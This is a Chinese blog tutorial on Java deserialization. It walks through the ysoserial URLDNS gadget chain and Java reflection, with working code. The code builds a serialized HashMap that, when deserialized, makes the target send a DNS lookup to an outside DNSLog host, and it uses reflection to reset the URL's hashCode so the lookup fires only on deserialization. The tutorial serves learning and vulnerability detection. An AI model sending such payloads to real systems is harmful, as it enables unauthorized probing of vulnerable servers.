Java反序列化系列(2)——反射和URLDNS

Java反序列化系列(2)——反射和URLDNS

前言

上文中我们引出了产生漏洞的攻击路径,这次我们就来实战复现一下ysoserial中的利用链——URLDNS,ysoserial是一款知名的java反序列化利用工具,里面集合了各种java反序列化payload,可以通过看它的源码,来学习java反序列化利用链。

ysoserial项目地址:https://github.com/frohoff/ysoserial

URLDNS利用链分析

URLDNS 就是 ysoserial 中⼀个利用链的名字,但其参数仅为⼀个URL,其能触发的结果也不是命令执行,而是⼀次 DNS 请求。
常常在检测反序列化漏洞时使用。

通过 HashMap 的反序列化调用 URL 的 hashCode 方法发起 DNS 查询,通常用来检测反序列化漏洞的存在。

利用链:HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode()

通过代码来看一看URLDNS链子:

URL 是由 HashMap 的put方法产生的,所以我们先跟进put方法当中。put方法之后又是调用了hash方法;hash方法则是调用了hashcode这一函数。

image-20221225153557396

而这里的key值是我们设置的URL地址,即hashmap.put(new URL("http://rbf5ok.ceye.io),1); 此处key为url,value为1。

因为上面我们的分析,这里会调用key值的hashCode方法,所以我们就去看URL的hashCode方法。

URL 中的hashCodehandler这一对象所调用

image-20221226000247306

handler又是URLStreamHandler的抽象类。我们再去找URLStreamHandlerhashCode方法。

image-20221226000531171

这里调用了getHostAddress这个方法,这就是我们利用与URLDNS的方法。其实现的功能是根据主机名获取其IP地址,在网络中就是一次DNS查询,会发送请求。

image-20221226000413488

总结一下URLDNS这个Gadget

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

通过代码来利用一下,SerializationTest.java中添加代码

1
2
3
HashMap <URL,Integer> hashMap= new HashMap<URL,Integer>();
hashMap.put(new URL("http://rbf5ok.ceye.io"),1);
serialize(hashMap);

先运行将其序列化,我们的目的是希望它在反序列化的过程中向DNSLog发送请求,然而在序列化的过程中就收到了请求。

image-20221226001430090

这是什么呢?回到URL的hashCode方法这里,原来是当hashCode的值不为-1的时候(初始化时hashCode为-1),它就会直接返回hashCode。在我们执行了hashmap.put(new URL("http://rbf5ok.ceye.io),1);以后,hashCode的值实际上就已经变成了url的hashCode了。

image-20221226001742892

问题找到了,那我们的需求自然就是序列化的过程中不向DNSLog发送请求,避免误导判断,以及在反序列化之前将hashCode的值设置成-1,可以通过反射来去修改这个已有对象的属性。

反射

此处我们横云断山,来讲一讲反射。

Java 的反射机制是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法; 并且对于任意一个对象,都能够调用它的任意一个方法;这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。

万物有阴必有阳,有正必有反。在了解反射之前,我们先来了解一下什么时”正射”

正射

1
2
Student student = new Student();
student.doHomework("数学");

这里实例化了Student类,用实例化好的对象进行操作,这就是正射。

反射

1
2
3
4
5
Class clazz = Class.forName("reflection.Student");
Method method = clazz.getMethod("doHomework", String.class);
Constructor constructor = clazz.getConstructor();
Object object = constructor.newInstance();
method.invoke(object, "语文");

反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法。

反射的作用:让Java具有动态性

  • 修改已有对象的属性
  • 动态生成对象
  • 动态调用方法
  • 操作内部类和私有方法

在反序列化的漏洞中,反射的作用:

  • 定制需要的对象
  • 通过invoke调用除了同名函数以外的函数
  • 通过Class类创建对象,引入不能序列化的类

下面,我们写一个测试类了解一下如何使用反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class ReflectionTest {
public static void main(String[] args) throws Exception {
Person person = new Person();
Class c = person.getClass();
// 反射就是操作Class

// 从原型Class里面实例化对象
// c.newInstance(); //调用无参构造

Constructor personConstructor = c.getConstructor(String.class,int.class);
// 这样就获得了以String和int作为参数类型的构造函数
Person p = (Person) personConstructor.newInstance("lotus", 23);
System.out.println(p);

}

}

输出结果为Person{name='lotus',age23} ,我们成功的通过反射构造了实例p并且完整了赋值

还可以获取类里面的属性

1
2
3
4
5
// 获取类里面的属性
Field[] personfields = c.getDeclaredFields(); // 或显示所有的属性,私有的、保护的等等 getFields只获得共有属性
for (Field f:personfields){
System.out.println(f);
}

如何去修改某个类的属性呢?我们可以先通过getDeclaredField获取该属性,再通过set赋值

1
2
3
4
5
6
Field agefield = c.getDeclaredField("age");
// 允许访问agefield
agefield.setAccessible(true);
// 改变类的实例化后的值
agefield.set(p,25);
System.out.println(p);

输出的结果为:Person{name='lotus',age=23} Person{name='lotus',age=25}

这里有三处要注意的点:1、getDeclaredFields获取私有属性 2、 由于age属性为私有属性,要需要通过将setAccessible设置为true允许访问该Fields 3、set赋值的实例就是我们刚刚通过构造函数实例的对象

属性说完了,方法也是一样的方式

1
2
Method actionMethod = c.getMethod("action", String.class);
actionMethod.invoke(p,"世事漫随流水,算来浮生一梦");

执行后的结果世事漫随流水,算来浮生一梦,也可以通过getMethods()获取所有方法,与属性相似,这里就不过多赘述。

解决URLDNS利用链遗留问题

回想一下我们想实现的目标,1、序列化是url的hashCode不为-1 不会向dnslog发起请求;2、反序列化的时候向dnslog发起请求

1
2
3
4
5
HashMap <URL,Integer> hashMap= new HashMap<URL,Integer>();
// 这里不向dnslog发起请求,把url对象的hashCode改成不是-1
hashMap.put(new URL("http://rbf5ok.ceye.io"),1);
// 这里把hashCode改回-1
serialize(hashMap);

通过刚刚反射的学习,我们可以在执行hashMap前修改url的hashCode属性,执行后再次修改其属性。

1
2
3
4
5
6
7
8
9
10
11
HashMap <URL,Integer> hashMap= new HashMap<URL,Integer>();
URL url = new URL("http://rbf5ok.ceye.io");
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,111);
// 这里不向dnslog发起请求,把url对象的hashCode改成不是-1
hashMap.put(url,1);
// 这里把hashCode改回-1
hashCodeField.set(url,-1);
serialize(hashMap);

执行序列化,dnslog不会收到请求;执行反序列化,dnslog就能收到请求了

image-20221230153401428

小结

URLDNS这条链子就走完了,但反射的利用方式还有很多,ysoserial里的利用链也还有很多,后续会慢慢补完。